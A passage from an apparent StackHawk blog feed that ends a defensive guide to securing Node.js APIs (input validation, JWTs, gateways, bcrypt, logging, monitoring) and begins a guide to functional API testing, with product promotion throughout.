Testing&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automated Scanning:&lt;/b&gt; Use tools like StackHawk to automate security testing and identify&lt;a href=&quot;https://www.stackhawk.com/blog/6-serious-api-security-vulnerabilities-and-how-to-fix-them/&quot;&gt; &lt;u&gt;vulnerabilities in your API&lt;/u&gt;&lt;/a&gt;. StackHawk can scan your API for common vulnerabilities like&lt;a href=&quot;https://www.stackhawk.com/solutions/owasp-top-10/&quot;&gt; &lt;u&gt;OWASP Top 10&lt;/u&gt;&lt;/a&gt; and provide detailed reports and remediation guidance.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-vs-penetration-testing/&quot;&gt;&lt;b&gt;&lt;u&gt;Manual Penetration Testing&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; Engage security professionals to conduct manual penetration testing to uncover more complex vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;As you can see, some of these prevention strategies lie within the code, and others require additional tools to implement or sit at the infrastructure level. By implementing these strategies and regularly&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt; &lt;u&gt;testing your API&amp;#39;s security&lt;/u&gt;&lt;/a&gt;, you can significantly reduce the risk of these common attacks being successful. At the end of the day, these efforts help to protect your application and its users.&lt;/p&gt;&lt;p&gt;Next, let&amp;#39;s start to break down more of the particulars. In the next five sections, we will look at how to prevent many of the exploits mentioned above. When combined, these will give your application and APIs a rock-solid foundation for security. Let&amp;#39;s start by looking at securing user input, one of the main ways to stop exploits such as SQL injection.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Securing User Input&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Failing to secure user input properly is one of the most common causes of security vulnerabilities. Attackers can exploit weaknesses in input validation through brute force attacks or otherwise by injecting malicious code, manipulating data, and gaining unauthorized access to your system.&lt;/p&gt;&lt;p&gt;To mitigate these risks, secure APIs should:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Validate all input:&lt;/b&gt; Treat all user-supplied data as potentially malicious. Validate data types, formats, lengths, and ranges to ensure they meet your application&amp;#39;s requirements.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Sanitize data:&lt;/b&gt; Escape or remove special characters that could be used to execute code or manipulate your database.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Use a validation library:&lt;/b&gt; Leverage libraries like &lt;b&gt;Express-Validator&lt;/b&gt; to simplify input validation and enforce consistent rules across your application. This library provides a wide range of validation methods and allows you to define custom validation rules.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The nice part about libraries like &lt;b&gt;Express-Validator&lt;/b&gt; is that they provide a lot of pre-canned filters that you can easily apply to sanitize input. Here is an example of how it can be used to validate parameters in the body of an API request, such as &lt;b&gt;username&lt;/b&gt; and &lt;b&gt;password&lt;/b&gt;.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;You can significantly reduce the risk of injection attacks and other vulnerabilities by rigorously validating and sanitizing user input. If a front-end UI uses your APIs, it&amp;#39;s also a great idea to have checks in place there, too, but don&amp;#39;t rely solely on front-end validation and forego it at the API level. Much of the logic in the UI can be easily bypassed, especially if a user issues requests directly to the API.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Authentication and Authorization&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The next and most critical points to touch on are authentication and authorization. The mechanisms that implement this are fundamental to API security, helping to authenticate users and controlling access to resources. You can implement these security measures at different levels, offering flexibility and in-depth defense. Let&amp;#39;s look at a few of the places where authentication and authorization practices can be included in our applications and APIs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Application-Level Implementation&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;JWTs (JSON Web Tokens):&lt;/b&gt; JWTs remain a popular choice for secure information transmission. Libraries like jsonwebtoken simplify JWT management in Node.js.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Role-Based Access Control (RBAC):&lt;/b&gt; Define roles with specific permissions and assign users accordingly, ensuring they only access necessary resources.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Adding JWT support to your Node application is relatively easy to do. By using &lt;b&gt;jsonwebtoken&lt;/b&gt;, you can easily verify that a token is valid. You should also ensure that a user is authorized to access the resources they are trying to reach, usually done by validating the JWT&amp;#39;s &lt;b&gt;claims&lt;/b&gt;. This will reveal what scope that user should have access to. Below is a simple example of how to extract a JWT from a header and verify that the JWT is legitimate and hasn&amp;#39;t been tampered with. You can see that the &lt;b&gt;authenticateToken&lt;/b&gt; middleware function is injected into the &lt;b&gt;/protected&lt;/b&gt; route.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;Using an API Gateway&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;One of the easiest ways to implement centralized authentication and authorization is through an API gateway. By using a gateway, you can abstract security logic into the API management layer and worry less about it in your code. Generally, the API gateway is set in front of your APIs, and all requests must be proxied through the API gateway to get to the underlying API. This means that the gateway can enforce various security measures. The benefits of this include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Offloaded Logic:&lt;/b&gt; Handle authentication and authorization at the gateway level, reducing application code complexity and ensuring consistency.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Enhanced Security:&lt;/b&gt; Benefit from built-in security features like rate limiting, IP whitelisting, and protection against common web attacks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Integration with Identity Providers:&lt;/b&gt; Seamlessly integrate with providers like Okta, Auth0, and AWS Cognito for streamlined user management.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Various gateway platforms exist, and some, such as AWS API Gateway and Azure API Management, are available directly through cloud vendors you likely already use. Of course, there are many others, such as Kong and Tyk, that are bringing the latest tech to the API management space and offering capabilities beyond the cloud-vendor API management platforms. For those who are familiar with TypeScript and want to play in an environment closer to their Node.js roots, Zuplo is also a good option and highly lightweight.&lt;/p&gt;&lt;p&gt;By combining application-level and API gateway approaches, you create a layered security model, enhancing protection and simplifying management. This allows for flexible and robust authentication and authorization tailored to your API&amp;#39;s specific needs.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Secure Data Storage and Transmission&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;With data flowing to and from APIs, including the services that the API itself corresponds with, data storage and transmission are critical to keeping data secure. Protecting sensitive data in transit and at rest is critical for maintaining user trust and complying with data privacy regulations.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Data in Transit&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;When we talk about &amp;quot;data in transit,&amp;quot; this is when data is moving between services, &amp;quot;on the wire,&amp;quot; some may say. Although there are plenty of technologies that can aid with security here, there are two that stand out as must-haves the majority of the time. These include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;HTTPS Everywhere:&lt;/b&gt; Enforce HTTPS for all API communication. This encrypts data transmitted between the client and server, preventing eavesdropping and tampering. Obtain an SSL certificate and configure your server to use HTTPS.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Consider TLS Pinning:&lt;/b&gt; For mobile applications, consider implementing TLS pinning to prevent man-in-the-middle attacks. This involves hardcoding the server&amp;#39;s certificate fingerprint in the application, ensuring it only communicates with the legitimate server.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Data at Rest&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;For &amp;quot;data at rest,&amp;quot; think of where the data will continue to reside after it transits the system. This could include application-level databases, like Postgres or MySQL, or even intermediate caching and in-memory databases, like Redis. Regardless of where the data lands, you want to take a few best practices&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Encryption:&lt;/b&gt; Encrypt sensitive data stored in databases or other storage systems. Use strong encryption algorithms and securely manage encryption keys.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Secure Password Storage:&lt;/b&gt; Never store passwords in plain text. Use robust hashing algorithms like bcrypt to hash passwords before storing them. Libraries like bcrypt can help implement this in your Node.js application.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data Minimization:&lt;/b&gt; Only collect and store the data that is absolutely necessary. This reduces the risk of data breaches and helps comply with data privacy regulations.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;For instance, if you wanted to hash passwords when storing them in the database, you could use a library like &lt;b&gt;bcrypt &lt;/b&gt;to do so. The following code snippet is an example of how you could use &lt;b&gt;bcrypt&lt;/b&gt;&amp;#39;s &lt;b&gt;.hash()&lt;/b&gt; function to store the password as a hashed value in a database and then how the &lt;b&gt;.compare()&lt;/b&gt; function can be used to validate the password again at login.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;By implementing these practices, you can ensure that your API&amp;#39;s data remains confidential and protected from unauthorized access during transmission and while at rest within different types of data stores your APIs and applications may use.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Error Handling and Logging&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As developers, we want to make sure that consumers of our APIs receive accurate and detailed error responses. However, there is a delicate balance between &amp;quot;just enough&amp;quot; and &amp;quot;too much&amp;quot; detail. Proper error handling and logging are essential for maintaining API security and stability. Error handling and logging are critical to identifying and addressing vulnerabilities, troubleshooting issues, and gathering evidence for incident response. Let&amp;#39;s look at some of the best practices and potential vulnerabilities to look out for:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Error Handling&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;When it comes to error handling, outputting the whole stack trace to the user is likely not a good idea. Most users will ignore such details, but those looking to probe further into the inner workings of a system or API will pay close attention. Error messages and stack traces can be a goldmine for bad actors and help them find weaknesses in your attack surface. To prevent this, ensure you do the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Prevent Information Leakage:&lt;/b&gt; Avoid revealing sensitive information in error messages. Provide generic error messages to users while logging detailed information for debugging purposes.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Handle Errors Gracefully:&lt;/b&gt; Implement error-handling middleware to catch and handle errors throughout your application. This prevents unhandled exceptions from crashing your API and provides a consistent error response format.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Custom Error Classes:&lt;/b&gt; Create custom error classes to categorize different types of errors and provide more informative error messages.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;For example, if you are going to return an error to a user, you should make sure to only show the details that are required. Below, you can see a demonstration of this for a 500 error where the stack trace is logged to the console or another output channel, and the response is returned with only a message (and not the stack trace and other details).&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;Logging&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Similar to error handling, getting various logic and errors captured in logs is critical for monitoring and debugging. Since logs contain a lot of sensitive info that attackers could exploit, it&amp;#39;s important to remember these best practices when managing logs:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Log Security Events:&lt;/b&gt; Log all security-related events, such as login attempts, access control decisions, and input validation failures. This provides an audit trail for investigating security incidents.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Centralized Logging:&lt;/b&gt; Use a centralized logging system to aggregate logs from different parts of your application. This makes it easier to monitor and analyze API activity.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Log Management Tools:&lt;/b&gt; Consider using log management tools like ELK Stack (Elasticsearch, Logstash, Kibana), Splunk, or Graylog to manage and analyze your logs.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Below is an example of how you could use a platform like Winston to log events. In this example, we show how a security event, such as a failed login attempt, can be written to the logs.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;By implementing robust error handling and logging mechanisms, you can improve your API&amp;#39;s security posture, troubleshoot issues effectively, and respond to security incidents promptly. Much of the error handling and logging feed into another critical aspect: API monitoring and responding to potential issues. That&amp;#39;s exactly what we will pivot to covering next.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Monitoring and Incident Response&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Continuous monitoring and a well-defined incident response plan are crucial for maintaining the security and resilience of your Node.js API. For this, you may use various agents that hook directly into your application and the infrastructure it is hosted on or use a log monitoring platform. Let&amp;#39;s look at how monitoring and incident response work together.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Monitoring&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In order to have a holistic picture of what&amp;#39;s going on within your APIs and infrastructure, you need to put multiple levels of monitoring in place. Some log management and observability tools have monitoring built directly into them via alerting functionalities. When implementing monitoring, here are a few key value props to keep your eyes on:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Real-time Monitoring:&lt;/b&gt; Monitor your API for suspicious activity, such as unusual traffic patterns, login failures, and error rates. Use monitoring tools to track key metrics and receive alerts for potential security incidents.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security Information and Event Management (SIEM):&lt;/b&gt; Consider using an SIEM system to collect and analyze security logs from various sources, including your API, databases, and servers. This can help identify patterns and anomalies that may indicate a security breach.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Vulnerability Scanning:&lt;/b&gt; Regularly scan your API for vulnerabilities using automated tools like StackHawk. This helps identify and address security weaknesses before attackers can exploit them.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Incident Response&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;When monitoring does pick up a potential issue, you need to move into incident response mode. For this to work seamlessly, you&amp;#39;ll need to do the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Develop an Incident Response Plan:&lt;/b&gt; Create a detailed plan outlining the steps to take in case of a security incident. This plan should include procedures for identifying, containing, eradicating, and recovering from security breaches.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Establish Communication Channels:&lt;/b&gt; Define clear communication channels for reporting and escalating security incidents. This ensures that incidents are handled quickly and efficiently.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Regularly Test and Update Your Plan:&lt;/b&gt; Conduct regular drills and exercises to test your incident response plan and ensure that it is up-to-date and effective.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By implementing comprehensive monitoring and having a well-defined incident response plan, you can proactively detect and respond to security threats, minimizing the impact of security incidents and protecting your API and its users.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Using StackHawk to Secure Node.js APIs&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As mentioned, identifying potential vulnerabilities in your APIs is critical. Although monitoring for actual breaches is a great mechanism to have in place, it is reactive versus proactive. To be proactive, you&amp;#39;ll want to pull in StackHawk to help you actively identify all of the APIs in your attack surface using&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-api-discovery-everything-you-need-to-know/&quot;&gt; &lt;u&gt;API discovery&lt;/u&gt;&lt;/a&gt;, test these APIs and remedy vulnerabilities using DAST, and provide oversight for the APIs identified and tested.&lt;/p&gt;&lt;p&gt;StackHawk is designed to help developers find and fix security bugs in their applications, including Node.js APIs. Here are &lt;b&gt;three&lt;/b&gt; key features that are particularly useful for Node.js developers:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automated Security Testing:&lt;/b&gt; StackHawk automates finding security vulnerabilities in your API. It tests your application for common vulnerabilities like those in the OWASP Top 10 (e.g., SQL injection attacks, cross-site scripting,&lt;a href=&quot;https://www.stackhawk.com/blog/net-broken-authentication-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;broken authentication&lt;/u&gt;&lt;/a&gt;) and provides detailed reports with actionable remediation advice. This saves developers significant time and effort compared to manual testing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Integration with CI/CD:&lt;/b&gt; StackHawk integrates seamlessly with popular CI/CD pipelines (e.g., Jenkins, CircleCI, GitHub Actions). This allows you to incorporate security testing into your development workflow, ensuring that vulnerabilities are identified and addressed early in the development process. This shift-left approach helps prevent security issues from making it into production.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Easy Configuration for Node.js:&lt;/b&gt; StackHawk is easy to configure for Node.js applications. It provides clear documentation and examples to help you get started quickly. You can configure StackHawk to scan your API endpoints, including specific headers, cookies, and request bodies, to ensure comprehensive coverage.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;By using StackHawk, Node.js developers can proactively identify and fix security vulnerabilities in their APIs, reducing the risk of security breaches and ensuring the safety of their users&amp;#39; data.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Securing your Node.js API is an ongoing process that requires a proactive and comprehensive approach. You can significantly strengthen your API&amp;#39;s security posture by implementing the strategies outlined in this article—from input validation and authentication to protecting against common attacks and securing data.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Ready to take your API security to the next level?&lt;/b&gt; Try StackHawk, a powerful&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt; &lt;u&gt;dynamic application security testing&lt;/u&gt;&lt;/a&gt; (DAST) tool that can help you automatically identify and fix vulnerabilities in your Node.js APIs. Sign up for a free trial today and experience the difference!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Functional API Testing: A Complete Guide]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/functional-api-testing</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;All developers and their organizations should be heavily testing the reliability and functionality of their APIs (Application Programming Interfaces). It&amp;#39;s a bit wild to think about just writing code with minimal testing and pushing it out to be used by API consumers. APIs are critical to almost all modern applications, so any issues with functionality not meeting users&amp;#39; needs are going to have a major impact on the business and customers. Although there are many types of testing that should go on in regard to APIs, API functional testing emerges as one of the most important when it comes to guaranteeing that an API is doing what it was designed to do.&lt;/p&gt;&lt;p&gt;Consider a distributed application architecture where microservices communicate via APIs. Each microservice exposes a set of endpoints, and the correct functioning of these endpoints is essential for the overall application&amp;#39;s stability. A failure in any of these API interactions can cascade through the system, leading to unpredictable behavior and potentially catastrophic failures.&lt;/p&gt;&lt;p&gt;API functional testing addresses this by systematically verifying the behavior of APIs under various conditions and inputs. Done manually or through automation, it involves validating that APIs return the expected responses for given requests, handle errors gracefully, and maintain data integrity (in the case of CRUD operations). By testing the functionality of APIs, developers can identify and fix critical defects early in the development lifecycle, something that becomes significantly more expensive and impactful in later stages of development.&lt;/p&gt;&lt;p&gt;This comprehensive guide will examine the nuances of API functional testing, including the benefits and challenges. After we&amp;#39;ve covered all of the basics, we will look at four tools that provide a great place to start when implementing functional testing. Let&amp;#39;s begin with the most fundamental question: what is API functional testing?&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is API Functional Testing?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API functional testing is a type of software testing that focuses specifically on verifying an API&amp;#39;s functionality. This type of testing helps developers and others determine if an API meets its predefined specifications and behaves as expected under various conditions. It involves testing individual API endpoints by sending specific requests and analyzing the responses to ensure they align with the expected outcomes.&lt;/p&gt;&lt;p&gt;When building APIs, the input and output of them are defined as a contract. This is the interface that tells anyone who uses the API when they are required to send to the endpoint and what the endpoint will return. Functional testing works by meticulously scrutinizing this contract, ensuring the API requests and responses are in the expected format. It also works to verify that business logic is working as intended. Overall, the scope of functional testing for various aspects of the API includes:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Request methods:&lt;/b&gt; Verifying that the API correctly handles different HTTP methods like GET, POST, PUT, DELETE, etc.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data formats:&lt;/b&gt; Ensuring the API accepts and returns data in the expected formats (e.g., JSON, XML).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Error handling:&lt;/b&gt; Confirming that the API returns appropriate error codes and messages for invalid requests or unexpected conditions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Business logic:&lt;/b&gt; Validating that the API correctly implements the underlying business rules and processes.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Authentication and authorization:&lt;/b&gt; Ensuring that only authorized users can access specific API endpoints and perform certain actions.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By rigorously testing these and other aspects of API functionality, the results of this testing help developers to identify and address potential issues early in the development cycle. Of course, many other forms of testing should be going on as well, such as unit testing and&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt; &lt;u&gt;security testing&lt;/u&gt;&lt;/a&gt;, but from an end-user functionality perspective, API functional testing is a key area of focus.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How does API Functional Testing work?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;So, if you want to do some API functional testing, how do you get started? Chances are, if you&amp;#39;re a developer, you&amp;#39;re already doing some of this type of testing but without the rigidity of good practices for tracking and ensuring holistic coverage. In its simplest form, API functional testing involves a systematic process of sending requests to the API and analyzing the responses to ensure they align with the expected outcomes. Here&amp;#39;s a breakdown of the typical workflow in five steps:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Define Test Cases&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;First, you need to figure out what you are testing and how you will test it. This is the first step to putting together your test plan. For this, you&amp;#39;ll need to:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Identify the API endpoints:&lt;/b&gt; Start by clearly defining the scope of your testing. Identify all the endpoints you need to test, including their supported HTTP methods, input parameters, and expected outputs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Formulate test scenarios:&lt;/b&gt; Based on the API&amp;#39;s specifications, design test scenarios that cover various use cases and edge cases. This includes positive tests (valid inputs), negative tests (invalid inputs), and boundary tests (testing the limits of acceptable input values).&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;You can track this in the platform of your choice or even just create a simple spreadsheet to document the test plan and to track the execution of it.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Prepare Test Data:&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Next, you have to create test data that will be used to call the API. At this stage, based on the test data you plan to use in the request, you may also document the expected result. Preparing this test data may involve creating mock data sets, using existing data from a database, or capturing real-time data from external sources for traffic replay or similar techniques.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;3. Execute Tests:&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Now, we get to the meat of the testing. At this point, we will begin to fire off API requests and get back the responses. In particular, each of these steps will look like this for each API you are testing:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Send requests to the API endpoint:&lt;/b&gt; Use an&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-rest-api-testing-tools-and-best-practices-for-success/&quot;&gt; &lt;u&gt;API testing tool&lt;/u&gt;&lt;/a&gt; or scripting language to send requests to the API endpoints with the prepared test data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Receive and analyze responses returned:&lt;/b&gt; Capture the API&amp;#39;s responses and analyze them against the expected outcomes defined in your test cases.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;For each test case you execute, make sure to document all of the above so it can be used in the next step.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;4. Validate Results:&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;With the tests executed, we now need to make sure that things are working as expected. For this, you&amp;#39;ll need to:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Compare actual vs. expected results:&lt;/b&gt; Verify that the API responses match the expected status codes, headers, and data formats. Noting any discrepancies.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Assert API behavior:&lt;/b&gt; If you&amp;#39;re using an automated solution, create assertions to validate specific aspects of the API&amp;#39;s behavior, such as data integrity, error handling, and performance. If these assertions are false, the tool will tell you why the assertion failed.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;5. Report and Track Defects:&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The last step is when we bundle up all of the results and report any defects. Here we will:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Document test results:&lt;/b&gt; Record the results of your tests, including any failed assertions or unexpected behavior.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Report defects:&lt;/b&gt; Log any identified defects in a bug-tracking system for developers to address.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Once the developers have remedied the defect, we can start the process again for any of the failed tests. Ideally, though, you&amp;#39;ll also do some regression testing to make sure that any of the newly fixed code won&amp;#39;t impact any of the existing functionality that was working as expected.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Functional vs. Non-Functional Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;While functional and non-functional testing is essential for ensuring software quality and should be part of every developer&amp;#39;s toolkit, they focus on different aspects of the application. Understanding the distinction between these two types of testing is crucial for building a comprehensive testing strategy. Let&amp;#39;s take a look at the differences briefly:&lt;/p&gt;&lt;p&gt;Although functional and non-functional testing are exclusive to each other, they are complementary. Using both types of testing is crucial for delivering high-quality software. While functional testing ensures that the application meets its functional requirements, non-functional testing ensures that it meets the desired quality standards regarding performance, security, and usability. Both are equally important.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Benefits of API Functional Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API functional testing offers many benefits that contribute to the overall quality and success of the software you&amp;#39;ve built. Here are some key advantages of rolling API functional testing into your API development lifecycle:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Catch Bugs Early = Saved Costs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Testing at the API level lets you catch bugs early in the development cycle, even before the UI is done. This proactive approach stops defects from moving downstream and saves you the cost and effort of fixing them later.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Truly Comprehensive Test Coverage&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;API functional testing lets you test the application’s core logic and functionality, which may not be accessible through the UI. This wider test coverage means the application behaves as expected across all scenarios and edge cases.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Quicker Release Cycles&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;API tests are generally faster to run than UI tests as they skip the overhead of rendering and interacting with the UI. If the UI changes, tests generally tend to break. This faster feedback loop lets developers iterate and deploy new API features faster.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Improved Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Although not as comprehensive as other types of actual security testing, API functional testing can potentially expose security &lt;a href=&quot;https://www.stackhawk.com/blog/6-serious-api-security-vulnerabilities-and-how-to-fix-them/&quot;&gt;&lt;u&gt;vulnerabilities in the API&lt;/u&gt;&lt;/a&gt;, such as authentication flaws, authorization issues, and data exposure risks.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Efficiency with Automation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Part of functional API testing can be automated and even integrated into CI/CD pipelines. This automation can reduce manual effort, improve testing efficiency, and highlight potential regression issues as soon as a pull request is created.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Better Collaboration&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;API functional testing promotes better collaboration between dev and test teams. By giving everyone a clear&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-an-api-a-beginners-guide-to-application-programming-interfaces/&quot;&gt; &lt;u&gt;understanding of what the API&lt;/u&gt;&lt;/a&gt; should do, it helps communication and makes sure everyone is on the same page in terms of what the API should do and if the current implementation actually does it.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Language Agnostic&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;By testing the API functionality by interacting directly with the API, functional API testing is not language- or technology-specific. This means more flexibility in terms of which APIs can be tested and means that the people testing the APIs don&amp;#39;t have to be familiar with the underlying code.&lt;/p&gt;&lt;p&gt;Functional API testing is a must-have for these exact reasons. There&amp;#39;s no doubt about the value that good functional testing brings to the table. Of course, there are always some challenges to be aware of as well when it comes to planning and executing functional API tests.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Challenges in Functional API Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;While API functional testing offers numerous benefits, it also presents certain challenges that testers need to overcome to ensure effective and efficient testing. Here are some common hurdles:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Lack of Comprehensive API 